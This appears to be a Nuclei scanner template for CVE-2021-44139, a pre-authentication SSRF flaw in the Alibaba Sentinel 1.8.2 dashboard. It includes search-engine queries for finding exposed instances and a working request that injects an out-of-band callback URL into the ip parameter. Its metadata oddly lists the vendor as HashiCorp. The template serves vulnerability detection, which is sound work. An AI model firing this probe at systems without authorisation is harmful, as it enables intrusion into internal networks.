CVE-2021-44139: Alibaba Sentinel - Server-side request forgery (SSRF)

id: CVE-2021-44139

info:
  name: Alibaba Sentinel - Server-side request forgery (SSRF)
  author: DhiyaneshDK
  severity: high
  description: |
    There is a Pre-Auth SSRF vulnerability in Alibaba Sentinel version 1.8.2, which allows remote unauthenticated attackers to perform SSRF attacks via the /registry/machine endpoint through the ip parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to send crafted requests from the server, potentially leading to unauthorized access to internal resources or network scanning.
  remediation: |
    Apply the latest security patches or updates provided by Alibaba Sentinel to fix the SSRF vulnerability (CVE-2021-44139).
  reference:
    - https://github.com/alibaba/Sentinel/issues/2451
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-44139
    cwe-id: CWE-918
    epss-score: 0.77664
    epss-percentile: 0.98933
    cpe: cpe:2.3:a:hashicorp:sentinel:1.8.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: hashicorp
    product: sentinel
    shodan-query:
      - title:"Sentinel Dashboard"
      - http.title:"sentinel dashboard"
    fofa-query: title="sentinel dashboard"
    google-query: intitle:"sentinel dashboard"
  tags: cve2021,cve,ssrf,alibaba,oast,misconfig,sentinel,hashicorp,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/registry/machine?app={{rand_base(5)}}&appType=0&version=0&hostname={{rand_base(5)}}&ip={{interactsh-url}}&port=0"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: word
        part: header
        words:
          - application/json

      - type: word
        part: body
        words:
          - '"success":true'
          - '"msg":"success"'
        condition: and
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